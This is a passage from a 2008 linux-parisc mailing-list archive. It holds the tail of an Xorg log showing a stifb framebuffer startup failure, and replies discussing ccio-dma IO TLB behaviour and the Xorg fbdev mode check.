	[12] -1	0	0xf400b000 - 0xf400b00f (0x10) MX[B]
	[13] -1	0	0xf400c000 - 0xf400c1ff (0x200) MX[B]
	[14] -1	0	0xf4008000 - 0xf40083ff (0x400) MX[B]
	[15] -1	0	0xf6000000 - 0xf600ffff (0x10000) MX[B](B)
	[16] -1	0	0xfa000000 - 0xfbffffff (0x2000000) MX[B](B)
	[17] -1	0	0x00012000 - 0x000120ff (0x100) IX[B]
	[18] -1	0	0x00012100 - 0x000121ff (0x100) IX[B]
	[19] -1	0	0x00000800 - 0x000008ff (0x100) IX[B]
	[20] -1	0	0x00000900 - 0x000009ff (0x100) IX[B]
	[21] -1	0	0x00000a00 - 0x00000a0f (0x10) IX[B]
	[22] -1	0	0x00000b00 - 0x00000b03 (0x4) IX[B]
	[23] -1	0	0x00000d00 - 0x00000d07 (0x8) IX[B]
	[24] -1	0	0x00000e00 - 0x00000e03 (0x4) IX[B]
	[25] -1	0	0x00000f00 - 0x00000f07 (0x8) IX[B]
	[26] -1	0	0x00001000 - 0x0000107f (0x80) IX[B]
(II) OS-reported resource ranges after removing overlaps with PCI:
	[0] -1	0	0x00100000 - 0x3fffffff (0x3ff00000) MX[B]E(B)
	[1] -1	0	0x000f0000 - 0x000fffff (0x10000) MX[B]
	[2] -1	0	0x000c0000 - 0x000effff (0x30000) MX[B]
	[3] -1	0	0x00000000 - 0x0009ffff (0xa0000) MX[B]
	[4] -1	0	0x0000ffff - 0x0000ffff (0x1) IX[B]
	[5] -1	0	0x00000000 - 0x000000ff (0x100) IX[B]
(II) All system resource ranges:
	[0] -1	0	0x00100000 - 0x3fffffff (0x3ff00000) MX[B]E(B)
	[1] -1	0	0x000f0000 - 0x000fffff (0x10000) MX[B]
	[2] -1	0	0x000c0000 - 0x000effff (0x30000) MX[B]
	[3] -1	0	0x00000000 - 0x0009ffff (0xa0000) MX[B]
	[4] -1	0	0xf4800000 - 0xf4801fff (0x2000) MX[B]
	[5] -1	0	0xf4804000 - 0xf48043ff (0x400) MX[B]
	[6] -1	0	0xf4802000 - 0xf4803fff (0x2000) MX[B]
	[7] -1	0	0xf4805000 - 0xf48053ff (0x400) MX[B]
	[8] -1	0	0xf4000000 - 0xf4001fff (0x2000) MX[B]
	[9] -1	0	0xf4004000 - 0xf40043ff (0x400) MX[B]
	[10] -1	0	0xf4002000 - 0xf4003fff (0x2000) MX[B]
	[11] -1	0	0xf4005000 - 0xf40053ff (0x400) MX[B]
	[12] -1	0	0xf4006000 - 0xf4006fff (0x1000) MX[B]
	[13] -1	0	0xf4007000 - 0xf4007fff (0x1000) MX[B]
	[14] -1	0	0xf4009000 - 0xf400900f (0x10) MX[B]
	[15] -1	0	0xf400a000 - 0xf400a00f (0x10) MX[B]
	[16] -1	0	0xf400b000 - 0xf400b00f (0x10) MX[B]
	[17] -1	0	0xf400c000 - 0xf400c1ff (0x200) MX[B]
	[18] -1	0	0xf4008000 - 0xf40083ff (0x400) MX[B]
	[19] -1	0	0xf6000000 - 0xf600ffff (0x10000) MX[B](B)
	[20] -1	0	0xfa000000 - 0xfbffffff (0x2000000) MX[B](B)
	[21] -1	0	0x0000ffff - 0x0000ffff (0x1) IX[B]
	[22] -1	0	0x00000000 - 0x000000ff (0x100) IX[B]
	[23] -1	0	0x00012000 - 0x000120ff (0x100) IX[B]
	[24] -1	0	0x00012100 - 0x000121ff (0x100) IX[B]
	[25] -1	0	0x00000800 - 0x000008ff (0x100) IX[B]
	[26] -1	0	0x00000900 - 0x000009ff (0x100) IX[B]
	[27] -1	0	0x00000a00 - 0x00000a0f (0x10) IX[B]
	[28] -1	0	0x00000b00 - 0x00000b03 (0x4) IX[B]
	[29] -1	0	0x00000d00 - 0x00000d07 (0x8) IX[B]
	[30] -1	0	0x00000e00 - 0x00000e03 (0x4) IX[B]
	[31] -1	0	0x00000f00 - 0x00000f07 (0x8) IX[B]
	[32] -1	0	0x00001000 - 0x0000107f (0x80) IX[B]
(II) LoadModule: "extmod"
(II) Loading /usr/lib/xorg/modules/extensions//libextmod.so
(II) Module extmod: vendor="X.Org Foundation"
	compiled for 1.4.2, module version = 1.0.0
	Module class: X.Org Server Extension
	ABI class: X.Org Server Extension, version 0.3
(II) Loading extension SHAPE
(II) Loading extension MIT-SUNDRY-NONSTANDARD
(II) Loading extension BIG-REQUESTS
(II) Loading extension SYNC
(II) Loading extension MIT-SCREEN-SAVER
(II) Loading extension XC-MISC
(II) Loading extension XFree86-VidModeExtension
(II) Loading extension XFree86-Misc
(II) Loading extension XFree86-DGA
(II) Loading extension DPMS
(II) Loading extension TOG-CUP
(II) Loading extension Extended-Visual-Information
(II) Loading extension XVideo
(II) Loading extension XVideo-MotionCompensation
(II) Loading extension X-Resource
(II) LoadModule: "dbe"
(II) Loading /usr/lib/xorg/modules/extensions//libdbe.so
(II) Module dbe: vendor="X.Org Foundation"
	compiled for 1.4.2, module version = 1.0.0
	Module class: X.Org Server Extension
	ABI class: X.Org Server Extension, version 0.3
(II) Loading extension DOUBLE-BUFFER
(II) LoadModule: "glx"
(II) Loading /usr/lib/xorg/modules/extensions//libglx.so
(II) Module glx: vendor="X.Org Foundation"
	compiled for 1.4.2, module version = 1.0.0
	ABI class: X.Org Server Extension, version 0.3
(**) AIGLX disabled
(II) Loading extension GLX
(II) LoadModule: "freetype"
(II) Loading /usr/lib/xorg/modules//fonts/libfreetype.so
(II) Module freetype: vendor="X.Org Foundation & the After X-TT Project"
	compiled for 1.4.2, module version = 2.1.0
	Module class: X.Org Font Renderer
	ABI class: X.Org Font Renderer, version 0.5
(II) Loading font FreeType
(II) LoadModule: "record"
(II) Loading /usr/lib/xorg/modules/extensions//librecord.so
(II) Module record: vendor="X.Org Foundation"
	compiled for 1.4.2, module version = 1.13.0
	Module class: X.Org Server Extension
	ABI class: X.Org Server Extension, version 0.3
(II) Loading extension RECORD
(II) LoadModule: "dri"
(II) Loading /usr/lib/xorg/modules/extensions//libdri.so
(II) Module dri: vendor="X.Org Foundation"
	compiled for 1.4.2, module version = 1.0.0
	ABI class: X.Org Server Extension, version 0.3
(II) Loading extension XFree86-DRI
(II) LoadModule: "fbdev"
(II) Loading /usr/lib/xorg/modules/drivers//fbdev_drv.so
(II) Module fbdev: vendor="X.Org Foundation"
	compiled for 1.4.0.90, module version = 0.4.0
	ABI class: X.Org Video Driver, version 2.0
(II) LoadModule: "kbd"
(II) Loading /usr/lib/xorg/modules/input//kbd_drv.so
(II) Module kbd: vendor="X.Org Foundation"
	compiled for 1.4.0.90, module version = 1.3.1
	Module class: X.Org XInput Driver
	ABI class: X.Org XInput driver, version 2.0
(II) LoadModule: "mouse"
(II) Loading /usr/lib/xorg/modules/input//mouse_drv.so
(II) Module mouse: vendor="X.Org Foundation"
	compiled for 1.4.0.90, module version = 1.3.0
	Module class: X.Org XInput Driver
	ABI class: X.Org XInput driver, version 2.0
(II) FBDEV: driver for framebuffer: fbdev
(II) Primary Device is: PCI 02:03:0
(II) Loading sub module "fbdevhw"
(II) LoadModule: "fbdevhw"
(II) Loading /usr/lib/xorg/modules/linux//libfbdevhw.so
(II) Module fbdevhw: vendor="X.Org Foundation"
	compiled for 1.4.2, module version = 0.0.2
	ABI class: X.Org Video Driver, version 2.0
(II) resource ranges after xf86ClaimFixedResources() call:
	[0] -1	0	0x00100000 - 0x3fffffff (0x3ff00000) MX[B]E(B)
	[1] -1	0	0x000f0000 - 0x000fffff (0x10000) MX[B]
	[2] -1	0	0x000c0000 - 0x000effff (0x30000) MX[B]
	[3] -1	0	0x00000000 - 0x0009ffff (0xa0000) MX[B]
	[4] -1	0	0xf4800000 - 0xf4801fff (0x2000) MX[B]
	[5] -1	0	0xf4804000 - 0xf48043ff (0x400) MX[B]
	[6] -1	0	0xf4802000 - 0xf4803fff (0x2000) MX[B]
	[7] -1	0	0xf4805000 - 0xf48053ff (0x400) MX[B]
	[8] -1	0	0xf4000000 - 0xf4001fff (0x2000) MX[B]
	[9] -1	0	0xf4004000 - 0xf40043ff (0x400) MX[B]
	[10] -1	0	0xf4002000 - 0xf4003fff (0x2000) MX[B]
	[11] -1	0	0xf4005000 - 0xf40053ff (0x400) MX[B]
	[12] -1	0	0xf4006000 - 0xf4006fff (0x1000) MX[B]
	[13] -1	0	0xf4007000 - 0xf4007fff (0x1000) MX[B]
	[14] -1	0	0xf4009000 - 0xf400900f (0x10) MX[B]
	[15] -1	0	0xf400a000 - 0xf400a00f (0x10) MX[B]
	[16] -1	0	0xf400b000 - 0xf400b00f (0x10) MX[B]
	[17] -1	0	0xf400c000 - 0xf400c1ff (0x200) MX[B]
	[18] -1	0	0xf4008000 - 0xf40083ff (0x400) MX[B]
	[19] -1	0	0xf6000000 - 0xf600ffff (0x10000) MX[B](B)
	[20] -1	0	0xfa000000 - 0xfbffffff (0x2000000) MX[B](B)
	[21] -1	0	0x0000ffff - 0x0000ffff (0x1) IX[B]
	[22] -1	0	0x00000000 - 0x000000ff (0x100) IX[B]
	[23] -1	0	0x00012000 - 0x000120ff (0x100) IX[B]
	[24] -1	0	0x00012100 - 0x000121ff (0x100) IX[B]
	[25] -1	0	0x00000800 - 0x000008ff (0x100) IX[B]
	[26] -1	0	0x00000900 - 0x000009ff (0x100) IX[B]
	[27] -1	0	0x00000a00 - 0x00000a0f (0x10) IX[B]
	[28] -1	0	0x00000b00 - 0x00000b03 (0x4) IX[B]
	[29] -1	0	0x00000d00 - 0x00000d07 (0x8) IX[B]
	[30] -1	0	0x00000e00 - 0x00000e03 (0x4) IX[B]
	[31] -1	0	0x00000f00 - 0x00000f07 (0x8) IX[B]
	[32] -1	0	0x00001000 - 0x0000107f (0x80) IX[B]
(**) FBDEV(0): claimed PCI slot 2:3:0
(II) FBDEV(0): using default device
(II) resource ranges after probing:
	[0] -1	0	0x00100000 - 0x3fffffff (0x3ff00000) MX[B]E(B)
	[1] -1	0	0x000f0000 - 0x000fffff (0x10000) MX[B]
	[2] -1	0	0x000c0000 - 0x000effff (0x30000) MX[B]
	[3] -1	0	0x00000000 - 0x0009ffff (0xa0000) MX[B]
	[4] -1	0	0xf4800000 - 0xf4801fff (0x2000) MX[B]
	[5] -1	0	0xf4804000 - 0xf48043ff (0x400) MX[B]
	[6] -1	0	0xf4802000 - 0xf4803fff (0x2000) MX[B]
	[7] -1	0	0xf4805000 - 0xf48053ff (0x400) MX[B]
	[8] -1	0	0xf4000000 - 0xf4001fff (0x2000) MX[B]
	[9] -1	0	0xf4004000 - 0xf40043ff (0x400) MX[B]
	[10] -1	0	0xf4002000 - 0xf4003fff (0x2000) MX[B]
	[11] -1	0	0xf4005000 - 0xf40053ff (0x400) MX[B]
	[12] -1	0	0xf4006000 - 0xf4006fff (0x1000) MX[B]
	[13] -1	0	0xf4007000 - 0xf4007fff (0x1000) MX[B]
	[14] -1	0	0xf4009000 - 0xf400900f (0x10) MX[B]
	[15] -1	0	0xf400a000 - 0xf400a00f (0x10) MX[B]
	[16] -1	0	0xf400b000 - 0xf400b00f (0x10) MX[B]
	[17] -1	0	0xf400c000 - 0xf400c1ff (0x200) MX[B]
	[18] -1	0	0xf4008000 - 0xf40083ff (0x400) MX[B]
	[19] -1	0	0xf6000000 - 0xf600ffff (0x10000) MX[B](B)
	[20] -1	0	0xfa000000 - 0xfbffffff (0x2000000) MX[B](B)
	[21] 0	0	0x000a0000 - 0x000affff (0x10000) MS[B]
	[22] 0	0	0x000b0000 - 0x000b7fff (0x8000) MS[B]
	[23] 0	0	0x000b8000 - 0x000bffff (0x8000) MS[B]
	[24] -1	0	0x0000ffff - 0x0000ffff (0x1) IX[B]
	[25] -1	0	0x00000000 - 0x000000ff (0x100) IX[B]
	[26] -1	0	0x00012000 - 0x000120ff (0x100) IX[B]
	[27] -1	0	0x00012100 - 0x000121ff (0x100) IX[B]
	[28] -1	0	0x00000800 - 0x000008ff (0x100) IX[B]
	[29] -1	0	0x00000900 - 0x000009ff (0x100) IX[B]
	[30] -1	0	0x00000a00 - 0x00000a0f (0x10) IX[B]
	[31] -1	0	0x00000b00 - 0x00000b03 (0x4) IX[B]
	[32] -1	0	0x00000d00 - 0x00000d07 (0x8) IX[B]
	[33] -1	0	0x00000e00 - 0x00000e03 (0x4) IX[B]
	[34] -1	0	0x00000f00 - 0x00000f07 (0x8) IX[B]
	[35] -1	0	0x00001000 - 0x0000107f (0x80) IX[B]
	[36] 0	0	0x000003b0 - 0x000003bb (0xc) IS[B]
	[37] 0	0	0x000003c0 - 0x000003df (0x20) IS[B]
(II) Setting vga for screen 0.
(II) FBDEV(0): Creating default Display subsection in Screen section
	"Default Screen" for depth/fbbpp 8/8
(**) FBDEV(0): Depth 8, (--) framebuffer bpp 8
(==) FBDEV(0): Default visual is PseudoColor
(==) FBDEV(0): Using gamma correction (1.0, 1.0, 1.0)
(II) FBDEV(0): hardware: stifb (video memory: 2048kB)
(II) FBDEV(0): checking modes against framebuffer device...
(II) FBDEV(0): checking modes against monitor...
(--) FBDEV(0): Virtual size is 1280x1024 (pitch 1280)
(**) FBDEV(0):  Built-in mode "current": 28000.0 MHz, 21875.0 kHz, 21362.3 Hz
(II) FBDEV(0): Modeline "current"x0.0  28000.00  1280 1280 1280 1280  1024 1024 1024 1024 -hsync -vsync -csync (21875.0 kHz)
(==) FBDEV(0): DPI set to (96, 96)
(II) Loading sub module "fb"
(II) LoadModule: "fb"
(II) Loading /usr/lib/xorg/modules//libfb.so
(II) Module fb: vendor="X.Org Foundation"
	compiled for 1.4.2, module version = 1.0.0
	ABI class: X.Org ANSI C Emulation, version 0.3
(**) FBDEV(0): using shadow framebuffer
(II) Loading sub module "shadow"
(II) LoadModule: "shadow"
(II) Loading /usr/lib/xorg/modules//libshadow.so
(II) Module shadow: vendor="X.Org Foundation"
	compiled for 1.4.2, module version = 1.1.0
	ABI class: X.Org ANSI C Emulation, version 0.3
(II) do I need RAC?  No, I don't.
(II) resource ranges after preInit:
	[0] 0	0	0xfa000000 - 0xfbffffff (0x2000000) MX[B]
	[1] -1	0	0x00100000 - 0x3fffffff (0x3ff00000) MX[B]E(B)
	[2] -1	0	0x000f0000 - 0x000fffff (0x10000) MX[B]
	[3] -1	0	0x000c0000 - 0x000effff (0x30000) MX[B]
	[4] -1	0	0x00000000 - 0x0009ffff (0xa0000) MX[B]
	[5] -1	0	0xf4800000 - 0xf4801fff (0x2000) MX[B]
	[6] -1	0	0xf4804000 - 0xf48043ff (0x400) MX[B]
	[7] -1	0	0xf4802000 - 0xf4803fff (0x2000) MX[B]
	[8] -1	0	0xf4805000 - 0xf48053ff (0x400) MX[B]
	[9] -1	0	0xf4000000 - 0xf4001fff (0x2000) MX[B]
	[10] -1	0	0xf4004000 - 0xf40043ff (0x400) MX[B]
	[11] -1	0	0xf4002000 - 0xf4003fff (0x2000) MX[B]
	[12] -1	0	0xf4005000 - 0xf40053ff (0x400) MX[B]
	[13] -1	0	0xf4006000 - 0xf4006fff (0x1000) MX[B]
	[14] -1	0	0xf4007000 - 0xf4007fff (0x1000) MX[B]
	[15] -1	0	0xf4009000 - 0xf400900f (0x10) MX[B]
	[16] -1	0	0xf400a000 - 0xf400a00f (0x10) MX[B]
	[17] -1	0	0xf400b000 - 0xf400b00f (0x10) MX[B]
	[18] -1	0	0xf400c000 - 0xf400c1ff (0x200) MX[B]
	[19] -1	0	0xf4008000 - 0xf40083ff (0x400) MX[B]
	[20] -1	0	0xf6000000 - 0xf600ffff (0x10000) MX[B](B)
	[21] -1	0	0xfa000000 - 0xfbffffff (0x2000000) MX[B](B)
	[22] 0	0	0x000a0000 - 0x000affff (0x10000) MS[B]
	[23] 0	0	0x000b0000 - 0x000b7fff (0x8000) MS[B]
	[24] 0	0	0x000b8000 - 0x000bffff (0x8000) MS[B]
	[25] -1	0	0x0000ffff - 0x0000ffff (0x1) IX[B]
	[26] -1	0	0x00000000 - 0x000000ff (0x100) IX[B]
	[27] -1	0	0x00012000 - 0x000120ff (0x100) IX[B]
	[28] -1	0	0x00012100 - 0x000121ff (0x100) IX[B]
	[29] -1	0	0x00000800 - 0x000008ff (0x100) IX[B]
	[30] -1	0	0x00000900 - 0x000009ff (0x100) IX[B]
	[31] -1	0	0x00000a00 - 0x00000a0f (0x10) IX[B]
	[32] -1	0	0x00000b00 - 0x00000b03 (0x4) IX[B]
	[33] -1	0	0x00000d00 - 0x00000d07 (0x8) IX[B]
	[34] -1	0	0x00000e00 - 0x00000e03 (0x4) IX[B]
	[35] -1	0	0x00000f00 - 0x00000f07 (0x8) IX[B]
	[36] -1	0	0x00001000 - 0x0000107f (0x80) IX[B]
	[37] 0	0	0x000003b0 - 0x000003bb (0xc) IS[B]
	[38] 0	0	0x000003c0 - 0x000003df (0x20) IS[B]
(EE) FBDEV(0): FBIOPUT_VSCREENINFO succeeded but modified mode
(EE) FBDEV(0): mode initialization failed

Fatal server error:
AddScreen/ScreenInit failed for driver 0


--/9DWx/yDrRhgMJTb--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: ccio-dma: is issue could be related to too much io_tlb entries?
Date: Tue, 5 Aug 2008 21:19:36 -0600
Lines: 109
Approved: news@gmane.org
Message-ID: <20080806031936.GB22269@colo.lackof.org>
References: <K54T7W$01C58047996F3451AE396720C28F9E08@scarlet.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1217992799 6505 80.91.229.12 (6 Aug 2008 03:19:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 6 Aug 2008 03:19:59 +0000 (UTC)
Cc: grundler <grundler@parisc-linux.org>, kyle <kyle@mcmartin.ca>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Joel Soete <soete.joel@scarlet.be>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Aug 06 05:20:48 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KQZZu-00077I-RB
	for glpp-linux-parisc@gmane.org; Wed, 06 Aug 2008 05:20:47 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751441AbYHFDTt (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 5 Aug 2008 23:19:49 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751450AbYHFDTt
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 5 Aug 2008 23:19:49 -0400
Original-Received: from colo.lackof.org ([198.49.126.79]:60086 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751441AbYHFDTs (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 5 Aug 2008 23:19:48 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id F184A6F8039;
	Tue,  5 Aug 2008 21:19:46 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01992-10; Tue, 5 Aug 2008 21:19:36 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 827BB6F8031; Tue,  5 Aug 2008 21:19:36 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <K54T7W$01C58047996F3451AE396720C28F9E08@scarlet.be>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:591
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/591>

On Tue, Aug 05, 2008 at 03:21:32PM +0100, Joel Soete wrote:
> > On Thu, Jul 24, 2008 at 02:13:55PM +0100, Joel Soete wrote:
> > > Hello Grant, Kyle, et al.,
> > >
> > > Iirc the number of io_tlb enties on this u2/uturn ioa is of 256?
> >
> > ISTR that u2 and uturn have different number of IO TLB entries.
> > But I don't recall how many exactly. Need the ERSs to look that up.
> >
> Well, I don't yet find the right way to get access, sorry.
> 
> > > Because issue occur only when I do a lot of I/O on scsi disk (sometime request
> > > of mapping reach 128 pages), the idea was that it could induce some exceed of
> > > iotlb entries.
> > >
> [snip]
> >
> > The number of "used" entries include "in flight" DMA and pci_consistent
> allocations. This generally isn't that many pages of RAM.
> >
> Ok,
> But the idea was that if so much pdir entries was mapped in a so short time
> (1s), it should be also that the device will try to use them on the fly (just
> an hypothesis.)
> And so far as I can observe, the pb occurs when os operate on numerous huge
> data blocks (i.e. a tar -xvf of a linux tree into a single fs); so in this
> case it should be that the i/o device trigger many i/o tlb miss and may be
> much more i/o tlb entries then it can be freed?

Yes, that's certainly possible. 
But it's not the only behavior triggered by lots of in-flight IO traffic.


> What I observe also is that the pb become worse either with a system with few
> ram (like my c110 with 64M) or when I resurrect CCIO_MEM_RATIO (e.g. 2 or 4)
> on a system with 256Mb of RAM). In those last 2 cases the effect is the same:
>   a/ it makes the pdir_size and the number of pdir entries smaller

Yes.

>   b/ as well for chainid_shift.

I've forgotten exactly the role of the chainid...I'd have to study
the code again.


> This last point (b/) make me thought that it would also make smaller the
> number of 4k-byte per chainid and so for a same DMA block size it would
> required more iotlb entries.

No. The number of IO TLB entries (192 or something like that) and IO MMU
page size (4k) are both fixed.
Both are also completely unrelated to the size of the IO Pdir.

> 
> Obviously just speculation ;<).
> 
> Even thought 3 things sure:
>   - issue occurs for huge I/O
>   - become worse with reduced iov_space_size (physical or logical)
>   - backport sba help a bit but doesn't fix issue

Yeah, those suggest IO TLB flushing is failing or IO Pdir isn't coherent.
There might be other things broken too.

> > > Anyway, difference between those last 2 samples (718 - 444) = 274 increase of
> > > io_pdir entries.
> >
> > That's about right for a SCSI device since it can't have that much
> > IO in flight for one or two disks.
> >
> [snip]
> >
> > Of course. The number of "used" entries in the IO Pdir has no direct
> > correlation to the number of "in use" IO TLB entries. IO TLB is fixed
> > size while the IO Pdir size can vary between boots.
> >
> > >
> > > Well as scatterlist is still puzzling me, I can still be confused between
> > > iommu and mmu pages mapping, sorry so in advance if it's yet another annoying
> > > comment.
> >
> > IOMMU is an MMU for IO devices. MMU is the same thing for CPU.
> > Differences exist between those two. DMA is generally to larger
> > chunks/regions of RAM (256-2K bytes) while CPUs need to enforce
> > access rights (X/R/W) to memory and deal with cachelines or less.
> >
> (well I still have difficulties in the relationship between all those buffers
> which are caches and tlb and over that I/O DMA with its own set of cache and
> iotlb. Fortunately there are now good doc freely available and good engine to
> look for it, but it's not yet so easy to me)

Agreed - it's not easy.

grant

> 
> Tx again for advises,
>     J.
> 
> > hth,
> > grant
> > --
> 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@tuxicoman.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: X won't start with VisEG and 2.6.22.19
Date: Wed, 6 Aug 2008 07:11:19 +0200
Lines: 41
Approved: news@gmane.org
Message-ID: <20080806071119.22b6a21f@bleh.bxl.tuxicoman.be>
References: <488DFD62.4080307@hp.com>
	<20080728171500.GB16059@parisc-linux.org>
	<488F777E.6090405@hp.com>
	<1217363136.6103.68.camel@localhost.localdomain>
	<488F842F.3040000@hp.com>
	<1217369386.6103.73.camel@localhost.localdomain>
	<20080731051524.GC18732@colo.lackof.org>
	<4891F5C0.8010307@hp.com>
	<20080801233142.GC26550@colo.lackof.org>
	<7d01f9f00808040159ud7f1afw8e0ee77760bc9c68@mail.gmail.com>
	<20080806014207.GA2590@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1217999547 20054 80.91.229.12 (6 Aug 2008 05:12:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 6 Aug 2008 05:12:27 +0000 (UTC)
Cc: dave@hiauly1.hia.nrc.ca, Thibaut VARENE <T-Bone@parisc-linux.org>,
	Grant Grundler <grundler@parisc-linux.org>,
	Parisc List <linux-parisc@vger.kernel.org>, deller@gmx.de
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Aug 06 07:13:17 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KQbKg-0003RT-QG
	for glpp-linux-parisc@gmane.org; Wed, 06 Aug 2008 07:13:11 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754746AbYHFFL3 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 6 Aug 2008 01:11:29 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1761651AbYHFFL3
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 6 Aug 2008 01:11:29 -0400
Original-Received: from cable-85.28.84.48.coditel.net ([85.28.84.48]:43948 "EHLO
	ibiza.bxl.tuxicoman.be" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1758953AbYHFFL1 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 6 Aug 2008 01:11:27 -0400
Original-Received: from bleh.bxl.tuxicoman.be ([2001:6f8:310:300:213:d4ff:fe5c:bd4f])
	by ibiza.bxl.tuxicoman.be with esmtps (TLSv1:AES256-SHA:256)
	(Exim 4.69)
	(envelope-from <gmsoft@tuxicoman.be>)
	id 1KQbIu-0003Bt-L0; Wed, 06 Aug 2008 07:11:20 +0200
In-Reply-To: <20080806014207.GA2590@hiauly1.hia.nrc.ca>
X-Mailer: Claws Mail 3.4.0 (GTK+ 2.12.9; i686-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:592
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/592>


Hi Dave,

This has been introduced in latest Xorg. When it modify the fb device,
Xorg query the kernel again to make sure changes are the expected ones.
Apparently, stifb doesn't return what it was expecting.

You'll find the Xorg code in hw/xfree86/fbdevhw/fbdevhw.c,
fbdevHWSetMode().


Cheers,
  Guy


On Tue, 5 Aug 2008 21:42:08 -0400
John David Anglin <dave@hiauly1.hia.nrc.ca> wrote:

> > > It wasn't and the default debian kernel didn't boot either.
> > > I've set the default kernel to jda's 2.6.22.19 patched kernel.
> > 
> > Is there a source tarball of that, or a list of applied patches? I
> > would very much like to use that "homebrew" kernel on my cluster as
> > well, until newer kernels are proven reliable enough...
> 
> I should mention that I've had a problem with starting X with lenny
> and 2.6.22.  This has been a problem for sometime.  I've tried
> simplifying the xorg.conf file and adding the mode helper to the
> kernel, but I haven't found the magic incantation that works.
> 
> Dave


-- 
Guy Martin
Gentoo Linux - HPPA port lead
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] fix unwind crash - was: Re: 2.6.26 kernel crash
Date: Wed, 6 Aug 2008 15:41:25 -0400
Lines: 50
Approved: news@gmane.org
Message-ID: <20080806194125.GA3281@phobos.i.cabal.ca>
References: <200807201846.11809.deller@gmx.de> <200807201907.59762.deller@gmx.de> <488F7E32.4070204@gmx.de> <1e3eba760808030726l93f60dftdcec0c487933129b@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1218051715 29370 80.91.229.12 (6 Aug 2008 19:41:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 6 Aug 2008 19:41:55 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	Kyle McMartin <kyle@mcmartin.ca>
To: Randolph Chung <randolph@tausq.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Aug 06 21:42:46 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KQott-0001Wz-C3
	for glpp-linux-parisc@gmane.org; Wed, 06 Aug 2008 21:42:25 +0200
